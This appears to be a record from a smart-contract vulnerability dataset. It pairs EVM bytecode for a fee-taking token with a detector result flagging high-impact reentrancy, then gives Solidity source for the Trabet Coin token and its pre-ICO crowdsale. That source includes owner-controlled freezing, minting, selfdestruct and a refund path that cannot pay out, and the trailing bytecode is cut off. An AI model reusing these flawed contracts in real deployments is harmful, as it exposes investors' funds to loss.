fffffffffffffffffffffffff16145b6109df57600080fd5b60004790506109ed81611ce7565b50565b6000610a3a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de2565b9050919050565b610a4961130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acd90612f28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b9c61130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2090612f28565b60405180910390fd5b8060158190555050565b610c3b61130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbf90612f28565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b60606040518060400160405280600581526020017f4441495359000000000000000000000000000000000000000000000000000000815250905090565b610d5e61130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290612f28565b60405180910390fd5b8060178190555050565b6000610e09610e0261130e565b84846114e1565b6001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e5461130e565b73ffffffffffffffffffffffffffffffffffffffff161480610eca5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eb261130e565b73ffffffffffffffffffffffffffffffffffffffff16145b610ed357600080fd5b6000610ede306109f0565b9050610ee981611e50565b50565b610ef461130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7890612f28565b60405180910390fd5b60005b83839050811015611020578160056000868685818110610fa757610fa6613339565b5b9050602002016020810190610fbc91906128ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061101890613292565b915050610f84565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110b561130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113990612f28565b60405180910390fd5b8060168190555050565b61115461130e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d890612f28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124890612ea8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611386576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137d90612fa8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ed90612ec8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114d49190612fc8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154890612f68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b890612e08565b60405180910390fd5b60008111611604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fb90612f48565b60405180910390fd5b61160c610cea565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167a575061164a610cea565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119825760148054906101000a900460ff1661170757611699610cea565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd90612e48565b60405180910390fd5b5b60155481111561174c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174390612e88565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146117f957601654816117ae846109f0565b6117b891906130ad565b106117f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ef90612f88565b60405180910390fd5b5b6000611804306109f0565b905060006017548210159050601554821061181f5760155491505b8080156118395750601460159054906101000a900460ff16155b80156118935750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156118ab5750601460169054906101000a900460ff165b80156119015750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119575750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561197f5761196582611e50565b6000479050600081111561197d5761197c47611ce7565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a295750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611adc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611adb5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611aea5760009050611c71565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611b955750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bad57600854600c81905550600954600d819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c585750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611c7057600a54600c81905550600b54600d819055505b5b611c7d848484846120d8565b50505050565b6000838311158290611ccb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc29190612de6565b60405180910390fd5b5060008385611cda919061318e565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3760028461210590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d62573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611db360028461210590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611dde573d6000803e3d6000fd5b5050565b6000600654821115611e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2090612e68565b60405180910390fd5b6000611e3361214f565b9050611e48818461210590919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e8857611e87613368565b5b604051908082528060200260200182016040528015611eb65781602001602082028036833780820191505090505b5090503081600081518110611ece57611ecd613339565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7057600080fd5b505afa158015611f84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa891906128d9565b81600181518110611fbc57611fbb613339565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611316565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612087959493929190612fe3565b600060405180830381600087803b1580156120a157600080fd5b505af11580156120b5573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b806120e6576120e561217a565b5b6120f18484846121bd565b806120ff576120fe612388565b5b50505050565b600061214783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061239c565b905092915050565b600080600061215c6123ff565b91509150612173818361210590919063ffffffff16565b9250505090565b6000600c5414801561218e57506000600d54145b15612198576121bb565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806121cf87612461565b95509550955095509550955061222d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230e81612571565b612318848361262e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123759190612fc8565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080831182906123e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123da9190612de6565b60405180910390fd5b50600083856123f29190613103565b9050809150509392505050565b60008060006006549050600068056bc75e2d63100000905061243568056bc75e2d6310000060065461210590919063ffffffff16565b8210156124545760065468056bc75e2d6310000093509350505061245d565b81819350935050505b9091565b600080600080600080600080600061247e8a600c54600d54612668565b925092509250600061248e61214f565b905060008060006124a18e8787876126fe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c83565b905092915050565b600080828461252291906130ad565b905083811015612567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255e90612ee8565b60405180910390fd5b8091505092915050565b600061257b61214f565b90506000612592828461278790919063ffffffff16565b90506125e681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612643826006546124c990919063ffffffff16565b60068190555061265e8160075461251390919063ffffffff16565b6007819055505050565b6000806000806126946064612686888a61278790919063ffffffff16565b61210590919063ffffffff16565b905060006126be60646126b0888b61278790919063ffffffff16565b61210590919063ffffffff16565b905060006126e7826126d9858c6124c990919063ffffffff16565b6124c990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612717858961278790919063ffffffff16565b9050600061272e868961278790919063ffffffff16565b90506000612745878961278790919063ffffffff16565b9050600061276e8261276085876124c990919063ffffffff16565b6124c990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561279a57600090506127fc565b600082846127a89190613134565b90508284826127b79190613103565b146127f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ee90612f08565b60405180910390fd5b809150505b92915050565b6000813590506128118161377b565b92915050565b6000815190506128268161377b565b92915050565b60008083601f8401126128425761284161339c565b5b8235905067ffffffffffffffff81111561285f5761285e613397565b5b60208301915083602082028301111561287b5761287a6133a1565b5b9250929050565b60008135905061289181613792565b92915050565b6000813590506128a6816137a9565b92915050565b6000602082840312156128c2576128c16133ab565b5b60006128d084828501612802565b91505092915050565b6000602082840312156128ef576128ee6133ab565b5b60006128fd84828501612817565b91505092915050565b6000806040838503121561291d5761291c6133ab565b5b600061292b85828601612802565b925050602061293c85828601612802565b9150509250929050565b60008060006060848603121561295f5761295e6133ab565b5b600061296d86828701612802565b935050602061297e86828701612802565b925050604061298f86828701612897565b9150509250925092565b600080604083850312156129b0576129af6133ab565b5b60006129be85828601612802565b92505060206129cf85828601612897565b9150509250929050565b6000806000604084860312156129f2576129f16133ab565b5b600084013567ffffffffffffffff811115612a1057612a0f6133a6565b5b612a1c8682870161282c565b93509350506020612a2f86828701612882565b9150509250925092565b600060208284031215612a4f57612a4e6133ab565b5b6000612a5d84828501612882565b91505092915050565b600060208284031215612a7c57612a7b6133ab565b5b6000612a8a84828501612897565b91505092915050565b6000612a9f8383612aab565b60208301905092915050565b612ab4816131c2565b82525050565b612ac3816131c2565b82525050565b6000612ad482613068565b612ade818561308b565b9350612ae983613058565b8060005b83811015612b1a578151612b018882612a93565b9750612b0c8361307e565b925050600181019050612aed565b5085935050505092915050565b612b30816131d4565b82525050565b612b3f81613217565b82525050565b612b4e81613229565b82525050565b6000612b5f82613073565b612b69818561309c565b9350612b7981856020860161325f565b612b82816133b0565b840191505092915050565b6000612b9a60238361309c565b9150612ba5826133c1565b604082019050919050565b6000612bbd601f8361309c565b9150612bc882613410565b602082019050919050565b6000612be0603f8361309c565b9150612beb82613439565b604082019050919050565b6000612c03602a8361309c565b9150612c0e82613488565b604082019050919050565b6000612c26601c8361309c565b9150612c31826134d7565b602082019050919050565b6000612c4960268361309c565b9150612c5482613500565b604082019050919050565b6000612c6c60228361309c565b9150612c778261354f565b604082019050919050565b6000612c8f601b8361309c565b9150612c9a8261359e565b602082019050919050565b6000612cb260218361309c565b9150612cbd826135c7565b604082019050919050565b6000612cd560208361309c565b9150612ce082613616565b602082019050919050565b6000612cf860298361309c565b9150612d038261363f565b604082019050919050565b6000612d1b60258361309c565b9150612d268261368e565b604082019050919050565b6000612d3e60238361309c565b9150612d49826136dd565b604082019050919050565b6000612d6160248361309c565b9150612d6c8261372c565b604082019050919050565b612d8081613200565b82525050565b612d8f8161320a565b82525050565b6000602082019050612daa6000830184612aba565b92915050565b6000602082019050612dc56000830184612b27565b92915050565b6000602082019050612de06000830184612b36565b92915050565b60006020820190508181036000830152612e008184612b54565b905092915050565b60006020820190508181036000830152612e2181612b8d565b9050919050565b60006020820190508181036000830152612e4181612bb0565b9050919050565b60006020820190508181036000830152612e6181612bd3565b9050919050565b60006020820190508181036000830152612e8181612bf6565b9050919050565b60006020820190508181036000830152612ea181612c19565b9050919050565b60006020820190508181036000830152612ec181612c3c565b9050919050565b60006020820190508181036000830152612ee181612c5f565b9050919050565b60006020820190508181036000830152612f0181612c82565b9050919050565b60006020820190508181036000830152612f2181612ca5565b9050919050565b60006020820190508181036000830152612f4181612cc8565b9050919050565b60006020820190508181036000830152612f6181612ceb565b9050919050565b60006020820190508181036000830152612f8181612d0e565b9050919050565b60006020820190508181036000830152612fa181612d31565b9050919050565b60006020820190508181036000830152612fc181612d54565b9050919050565b6000602082019050612fdd6000830184612d77565b92915050565b600060a082019050612ff86000830188612d77565b6130056020830187612b45565b81810360408301526130178186612ac9565b90506130266060830185612aba565b6130336080830184612d77565b9695505050505050565b60006020820190506130526000830184612d86565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130b882613200565b91506130c383613200565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130f8576130f76132db565b5b828201905092915050565b600061310e82613200565b915061311983613200565b9250826131295761312861330a565b5b828204905092915050565b600061313f82613200565b915061314a83613200565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613183576131826132db565b5b828202905092915050565b600061319982613200565b91506131a483613200565b9250828210156131b7576131b66132db565b5b828203905092915050565b60006131cd826131e0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132228261323b565b9050919050565b600061323482613200565b9050919050565b60006132468261324d565b9050919050565b6000613258826131e0565b9050919050565b60005b8381101561327d578082015181840152602081019050613262565b8381111561328c576000848401525b50505050565b600061329d82613200565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132d0576132cf6132db565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f546178206665652063616e6e6f74206265206d6f7265207468616e2031302500600082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613784816131c2565b811461378f57600080fd5b50565b61379b816131d4565b81146137a657600080fd5b50565b6137b281613200565b81146137bd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024d1a6197222f6d72013429745a50b4663618f338b75a83aa562ac853fdd165364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,831
0xe2d4b55a72977ce72d4d5c87307c14de251a6231
pragma solidity ^0.4.16; contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Trabet_Coin is owned { // Public variables of the token string public name = "Trabet Coin"; string public symbol = "TC"; uint8 public decimals = 4; uint256 public totalSupply = 7000000 * 10 ** uint256(decimals); bool public released = false; /// contract that is allowed to create new tokens and allows unlift the transfer limits on this token address public crowdsaleAgent; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor () public { balanceOf[owner] = totalSupply; } modifier canTransfer() { require(released); _; } modifier onlyCrowdsaleAgent() { require(msg.sender == crowdsaleAgent); _; } function releaseToken() public onlyOwner { released = true; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) canTransfer internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Check if sender is frozen require(!frozenAccount[_from]); // Check if recipient is frozen require(!frozenAccount[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyCrowdsaleAgent public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @dev Set the contract that can call release and make the token transferable. /// @param _crowdsaleAgent crowdsale contract address function setCrowdsaleAgent(address _crowdsaleAgent) onlyOwner public { crowdsaleAgent = _crowdsaleAgent; } } contract Killable is owned { function kill() onlyOwner public { selfdestruct(owner); } } contract Trabet_Coin_PreICO is owned, Killable { /// The token we are selling Trabet_Coin public token; ///fund goes to address public beneficiary; /// the UNIX timestamp start date of the crowdsale uint public startsAt = 1521748800; /// the UNIX timestamp end date of the crowdsale uint public endsAt = 1532563200; /// the price of token uint256 public TokenPerETH = 1065; /// Has this crowdsale been finalized bool public finalized = false; /// the number of tokens already sold through this contract uint public tokensSold = 0; /// the number of ETH raised through this contract uint public weiRaised = 0; /// How many distinct addresses have invested uint public investorCount = 0; /// How much wei we have given back to investors. uint public weiRefunded = 0; /// Has this crowdsale reFunding bool public reFunding = false; /// How much ETH each address has invested to this crowdsale mapping (address => uint256) public investedAmountOf; /// A new investment was made event Invested(address investor, uint weiAmount, uint tokenAmount); /// Crowdsale Start time has been changed event StartsAtChanged(uint startsAt); /// Crowdsale end time has been changed event EndsAtChanged(uint endsAt); /// Calculated new price event RateChanged(uint oldValue, uint newValue); /// Refund was processed for a contributor event Refund(address investor, uint weiAmount); constructor (address _token, address _beneficiary) public { token = Trabet_Coin(_token); beneficiary = _beneficiary; } function investInternal(address receiver, address refer) private { require(!finalized); require(startsAt <= now && endsAt > now); require(msg.value >= 100000000000000); if(investedAmountOf[receiver] == 0) { // A new investor investorCount++; } // Update investor uint tokensAmount = msg.value * TokenPerETH / 100000000000000; investedAmountOf[receiver] += msg.value; // Update totals tokensSold += tokensAmount; weiRaised += msg.value; // Tell us invest was success emit Invested(receiver, msg.value, tokensAmount); token.mintToken(receiver, tokensAmount); if (refer != 0x0) { refer.transfer(msg.value/10); } // Transfer Fund to owner's address beneficiary.transfer(address(this).balance); } function buy(address refer) public payable { investInternal(msg.sender, refer); } function () public payable { investInternal(msg.sender, 0x0); } function payforRefund () public payable { } function setStartsAt(uint time) onlyOwner public { require(!finalized); startsAt = time; emit StartsAtChanged(startsAt); } function setEndsAt(uint time) onlyOwner public { require(!finalized); endsAt = time; emit EndsAtChanged(endsAt); } function setRate(uint value) onlyOwner public { require(!finalized); require(value > 0); emit RateChanged(TokenPerETH, value); TokenPerETH = value; } function finalize() public onlyOwner { // Finalized Pre ICO crowdsele. finalized = true; } function EnableRefund() public onlyOwner { // Finalized Pre ICO crowdsele. reFunding = true; } function setBeneficiary(address _beneficiary) public onlyOwner { // Finalized Pre ICO crowdsele. beneficiary = _beneficiary; } /// @dev Investors can claim refund. function refund() public { require(reFunding); uint256 weiValue = investedAmountOf[msg.sender]; investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded + weiValue; emit Refund(msg.sender, weiValue); msg.sender.transfer(weiValue); } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a09284a1461014b5780631aae3460146101765780631c31f710146101cd57806334fcf4371461021057806338af3eed1461023d5780633f52c660146102945780634042b66f146102bf57806341c0e1b5146102ea5780634bb278f314610301578063518ab2a814610318578063590e1ae3146103435780635da89ac01461035a5780636e50eb3f146103855780637188c8a4146103b257806371b22e61146103e157806376640648146103f85780638da5cb5b14610402578063af46868214610459578063b3f05b9714610484578063bf5fc2ee146104b3578063d7e64c00146104e0578063f088d5471461050b578063f2fde38b14610541578063fc0c546a14610584575b6101493360006105db565b005b34801561015757600080fd5b50610160610955565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b506101b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061095b565b6040518082815260200191505060405180910390f35b3480156101d957600080fd5b5061020e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610973565b005b34801561021c57600080fd5b5061023b60048036038101908080359060200190929190505050610a12565b005b34801561024957600080fd5b50610252610ae3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102a057600080fd5b506102a9610b09565b6040518082815260200191505060405180910390f35b3480156102cb57600080fd5b506102d4610b0f565b6040518082815260200191505060405180910390f35b3480156102f657600080fd5b506102ff610b